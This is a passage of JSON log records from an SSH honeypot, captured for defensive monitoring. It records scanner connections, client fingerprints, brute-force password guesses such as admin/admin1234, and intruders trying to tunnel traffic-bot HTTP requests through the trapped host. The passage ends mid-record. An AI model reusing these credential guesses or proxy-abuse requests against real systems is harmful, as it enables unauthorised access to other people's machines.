{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:44.724334Z","src_ip":"91.92.40.36","session":"3565491a322a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"help","password":"123","message":"login attempt [help/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:45.545022Z","src_ip":"41.90.100.147","session":"28f17679d94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48872,"dst_ip":"159.203.135.109","dst_port":22,"session":"acaa533ac625","protocol":"ssh","message":"New connection: 91.92.40.36:48872 (159.203.135.109:22) [session: acaa533ac625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:45.562350Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:45.673842Z","src_ip":"173.208.188.210","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:46.560454Z","src_ip":"91.92.40.36","session":"acaa533ac625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:46.563431Z","src_ip":"91.92.40.36","session":"acaa533ac625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:46.763211Z","src_ip":"41.90.100.147","session":"28f17679d94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31128,"dst_ip":"159.203.135.109","dst_port":22,"session":"d718007b3085","protocol":"ssh","message":"New connection: 91.92.40.36:31128 (159.203.135.109:22) [session: d718007b3085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:51.660997Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest12","message":"login attempt [guest/guest12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:52.066337Z","src_ip":"91.92.40.36","session":"acaa533ac625","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:53.534222Z","src_ip":"91.92.40.36","session":"d718007b3085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:53.536242Z","src_ip":"91.92.40.36","session":"d718007b3085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:54.726581Z","src_ip":"91.92.40.36","session":"acaa533ac625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58596,"dst_ip":"10.17.0.5","dst_port":22,"session":"595520af04d3","protocol":"ssh","message":"New connection: 123.27.168.40:58596 (10.17.0.5:22) [session: 595520af04d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:55.001895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:55.006141Z","src_ip":"123.27.168.40","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:55.243660Z","src_ip":"123.27.168.40","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:55.681327Z","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:55.716178Z","src_ip":"173.208.188.210","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; RMX3430) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Mi9DVWhAaz4mOHAxWl4mcA%3D%3DSIKcxeQ9FVs4BquZMtqgNwVZVZb%2FqOhN%2BubKgZHMJUPSQaNRNrre2isINlvSIuAs2kZJKLsl5FDI6J3sO1lzBqnG4pXAPdn7W0dir%2BdNL%2FOzcBEl52OhcNzpr8k%2FSN7z7gIgF6gP2zizf3tcwdL4Krqc602tQXCa0a7U6wH7efru%2BrVq3M3VpU6IfBIzjAiqFR2qY18vLyJXEJ0VAOGacexeQsmZHLhY7%2B7UAs2o7Jw2GYnxOZOS2%2BFWgLFtjGRn0L81vlk%2FPHcQNbh5kayOJjqw%2FCbg9iMqsQeOBSb4YoEj%2B89gPMpXimqZ08LP%2B6NWoAttDM3ot%2FtYCPUwSl0GcqsWUhGW0KuCorwovbN7WSslLZtB36K9z7qxG9Vb5Vkd5%2B87YBCRgxBe0miPAfgKcM3r4PX3L1yoa75%2Fr3fb6UlAvygtTGhFld6GoJ%2BUtvjJaWGfFdjFWqq25L6gTOQiKt4PVBxFF8uhO9T206%2FZCbvJWIZVEWmILvKvv8CfTETYxcGnrU%2FFzGZyaVj6sTnP9x%2BckGpfGfzP7Y80%2BB0hsqbFRAc7tUcFtPh7YTSyzjTyS3boSQ9gCcKlcEmg3gwlBFal9X1NYSuT9zs%2FiERIOFUwtr6aGOdk8%2FYvjec5XsF0voGKkuzGki7LTAGWkT20yLCKi0uYDsIZXnT6LBh9sBv4%2BwQw5l30MPxeQtsvQHe8v0gPrgbaweV%2FTcAAg%2BU8Mt35EsOi4S%2B0HAmrBrg0bJ2sLNNHA6HM4JjQ%2FH3rYMu%2FQHX4oAK54dWfddrGwQNMgAnzzBLqRO352scOhQLv%2FCMA9IfMmVv6MHk4uKYeJZ8Kfc2ekRWtFoU%2F9%2Fr%2FmJg2Yt0Pvay459VdHSxLO5mrnjMCdZ3%2FAGsNj8m4aN8Ysl8Fl0a89uWO57dGg8j3%2BbyNW2XNVHYHfShEVZHFl%2Bc66SmtFzhccuws2NUL4JrGeANpzdHbj1W1ZC2tV5WbaTGNoZcfzx%2FxN04JuLp6XwNYfYe3G0bu0l75VUkzkCO7tvo%2Fgl2a6YdVsy02gEt1ROU0cVYFGQpGSxkp7ZiPuHWSHVo%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; RMX3430) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Mi9DVWhAaz4mOHAxWl4mcA%3D%3DSIKcxeQ9FVs4BquZMtqgNwVZVZb%2FqOhN%2BubKgZHMJUPSQaNRNrre2isINlvSIuAs2kZJKLsl5FDI6J3sO1lzBqnG4pXAPdn7W0dir%2BdNL%2FOzcBEl52OhcNzpr8k%2FSN7z7gIgF6gP2zizf3tcwdL4Krqc602tQXCa0a7U6wH7efru%2BrVq3M3VpU6IfBIzjAiqFR2qY18vLyJXEJ0VAOGacexeQsmZHLhY7%2B7UAs2o7Jw2GYnxOZOS2%2BFWgLFtjGRn0L81vlk%2FPHcQNbh5kayOJjqw%2FCbg9iMqsQeOBSb4YoEj%2B89gPMpXimqZ08LP%2B6NWoAttDM3ot%2FtYCPUwSl0GcqsWUhGW0KuCorwovbN7WSslLZtB36K9z7qxG9Vb5Vkd5%2B87YBCRgxBe0miPAfgKcM3r4PX3L1yoa75%2Fr3fb6UlAvygtTGhFld6GoJ%2BUtvjJaWGfFdjFWqq25L6gTOQiKt4PVBxFF8uhO9T206%2FZCbvJWIZVEWmILvKvv8CfTETYxcGnrU%2FFzGZyaVj6sTnP9x%2BckGpfGfzP7Y80%2BB0hsqbFRAc7tUcFtPh7YTSyzjTyS3boSQ9gCcKlcEmg3gwlBFal9X1NYSuT9zs%2FiERIOFUwtr6aGOdk8%2FYvjec5XsF0voGKkuzGki7LTAGWkT20yLCKi0uYDsIZXnT6LBh9sBv4%2BwQw5l30MPxeQtsvQHe8v0gPrgbaweV%2FTcAAg%2BU8Mt35EsOi4S%2B0HAmrBrg0bJ2sLNNHA6HM4JjQ%2FH3rYMu%2FQHX4oAK54dWfddrGwQNMgAnzzBLqRO352scOhQLv%2FCMA9IfMmVv6MHk4uKYeJZ8Kfc2ekRWtFoU%2F9%2Fr%2FmJg2Yt0Pvay459VdHSxLO5mrnjMCdZ3%2FAGsNj8m4aN8Ysl8Fl0a89uWO57dGg8j3%2BbyNW2XNVHYHfShEVZHFl%2Bc66SmtFzhccuws2NUL4JrGeANpzdHbj1W1ZC2tV5WbaTGNoZcfzx%2FxN04JuLp6XwNYfYe3G0bu0l75VUkzkCO7tvo%2Fgl2a6YdVsy02gEt1ROU0cVYFGQpGSxkp7ZiPuHWSHVo%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:55.719560Z","src_ip":"173.208.188.210","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:56.423602Z","src_ip":"123.27.168.40","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:56.839933Z","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:56.982827Z","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:57.366602Z","src_ip":"123.27.168.40","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/604.2.4 (KHTML, like Gecko) Version/9.1.2 Safari/604.2.4\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QmFHK0gyN2VPMzdMV1IkeA%3D%3D%2F8PukQeAH2K78FSCYx2kpjtU1YOkrRhegMltkRsfPKCAO3%2FWYYLjNmagooRAu7oKdsQrhxw2WgB4xX09p5%2BOPbQUYGXTUh1bcYLgq%2F3aPAREtnq%2FeOg7U8YSp3qefCd6ogPD0O3QfJXCTprogcYcXqhYBoqGFQOkdg83HcqO0%2BB4q%2FpsdrmHpSc0qoav1k3xvfNtlrCpr%2F2k37u06tUVrik2DhR9fgO8wlEKcshZtmRyJfSSE2bArsSwb6nZInASNSKdtGRgk5zzt8lR%2BkT6XnRBCISELhdsDhY82Evmh6KdqfkTwd3HnXb3%2FYBaK7%2Bcc%2BZyN8JiqZTKrKdUwr7gzJ855B33zutx%2Bw3AusOvW4gievGNf1XWQPFEEItfAwxR2xLj86ws2fxMWs6X8QF%2Fk0Ct8djHF6oljzz2XFW33DwSVZELhLyZVEnUx%2BoQzQxHhzIoD3%2Bv1W%2Fob8MB9lD2sFuNchh5MdH9tkPbIUX1tWjaQuOBZvvySKtPfLSBOiq%2FQWz6T%2FmLHhUYezS%2FtGMUtiz50H1tf9WW1QMYtV1Y1cScCUmfKh3NwWY94bkfNjpvxXbB2B0zmvw%2F0eNO3rgHMMrzcNQw%2F7W8lD5T974SBTwtxMRBCI7KSxvUmqMUy%2BE2r7qxQ6b8Pz9NLQs%2FfdBCtBk5EDvGJoKVyeCMsZxERi%2BRFDRI%2FqXgEME97paPQU0MhES5RH5hVWmOLvnYw96Y6fe8UyTOIPu6BRzKHhb14zKL6tNEG%2BMJEkT7LPnfYpNxc%2BtGTvtqwqcOylg0cYKfUcrah2BYoFXWCjTT4I0bZp4byy35JlGsa3Zx8Rmr5UfJDNzczJtOlPCb8wy9uClJoPAbtBWk1dv7MnJD%2Bq5eeF%2F%2FRVTnLPVfrp7k8zzzz7bBTX%2BRtGTXbCY4nri1KHjStb0pd7oa9tLbUgDbQQgmp6qPN7cUGcVAGJskR1ftdKxpoXNMSiulSEkwG2s1EOB1GWRElvI%2FSUNVRRxGYipqO7CtLKa3bYWWlW7duMunLdbBe%2BH3KPGS8fIPgN6P0profI41NtiR%2Bw%2F6aMyT6h1g3bw%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/604.2.4 (KHTML, like Gecko) Version/9.1.2 Safari/604.2.4\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QmFHK0gyN2VPMzdMV1IkeA%3D%3D%2F8PukQeAH2K78FSCYx2kpjtU1YOkrRhegMltkRsfPKCAO3%2FWYYLjNmagooRAu7oKdsQrhxw2WgB4xX09p5%2BOPbQUYGXTUh1bcYLgq%2F3aPAREtnq%2FeOg7U8YSp3qefCd6ogPD0O3QfJXCTprogcYcXqhYBoqGFQOkdg83HcqO0%2BB4q%2FpsdrmHpSc0qoav1k3xvfNtlrCpr%2F2k37u06tUVrik2DhR9fgO8wlEKcshZtmRyJfSSE2bArsSwb6nZInASNSKdtGRgk5zzt8lR%2BkT6XnRBCISELhdsDhY82Evmh6KdqfkTwd3HnXb3%2FYBaK7%2Bcc%2BZyN8JiqZTKrKdUwr7gzJ855B33zutx%2Bw3AusOvW4gievGNf1XWQPFEEItfAwxR2xLj86ws2fxMWs6X8QF%2Fk0Ct8djHF6oljzz2XFW33DwSVZELhLyZVEnUx%2BoQzQxHhzIoD3%2Bv1W%2Fob8MB9lD2sFuNchh5MdH9tkPbIUX1tWjaQuOBZvvySKtPfLSBOiq%2FQWz6T%2FmLHhUYezS%2FtGMUtiz50H1tf9WW1QMYtV1Y1cScCUmfKh3NwWY94bkfNjpvxXbB2B0zmvw%2F0eNO3rgHMMrzcNQw%2F7W8lD5T974SBTwtxMRBCI7KSxvUmqMUy%2BE2r7qxQ6b8Pz9NLQs%2FfdBCtBk5EDvGJoKVyeCMsZxERi%2BRFDRI%2FqXgEME97paPQU0MhES5RH5hVWmOLvnYw96Y6fe8UyTOIPu6BRzKHhb14zKL6tNEG%2BMJEkT7LPnfYpNxc%2BtGTvtqwqcOylg0cYKfUcrah2BYoFXWCjTT4I0bZp4byy35JlGsa3Zx8Rmr5UfJDNzczJtOlPCb8wy9uClJoPAbtBWk1dv7MnJD%2Bq5eeF%2F%2FRVTnLPVfrp7k8zzzz7bBTX%2BRtGTXbCY4nri1KHjStb0pd7oa9tLbUgDbQQgmp6qPN7cUGcVAGJskR1ftdKxpoXNMSiulSEkwG2s1EOB1GWRElvI%2FSUNVRRxGYipqO7CtLKa3bYWWlW7duMunLdbBe%2BH3KPGS8fIPgN6P0profI41NtiR%2Bw%2F6aMyT6h1g3bw%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:57.369543Z","src_ip":"123.27.168.40","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:57.372715Z","src_ip":"123.27.168.40","session":"595520af04d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0N\\x176#5\\xc8\\xa8$U[\\xcf\\x13\\x97K\\x88\\xdcg\\xee\\xe8\\xb4I1\\xb9\\x19\\xdc\\xaa\\x879\\xf3\\xe9\\xb3 \\xdc\\x95\\x83\\x9c\\xc4\\xc7\\x15V\\xb9\\x9c\\xe5!\\x18\\x89\\xe7\\xac;i\\xaa\\xa7\\xbf\\xc5\\xda~\\x9a\\xc0\\xa0s\\xea\\xfb\\x8a^\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\x93,\\x08m\\xc7\\xdb\\x00\\x9c\\xb5d\\xdd\\xa1\\xce\\xea@ z-UE\\x9f\\xe5u\\x90,y\\xe1\\xf6\\xed\\xfa\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0N\\x176#5\\xc8\\xa8$U[\\xcf\\x13\\x97K\\x88\\xdcg\\xee\\xe8\\xb4I1\\xb9\\x19\\xdc\\xaa\\x879\\xf3\\xe9\\xb3 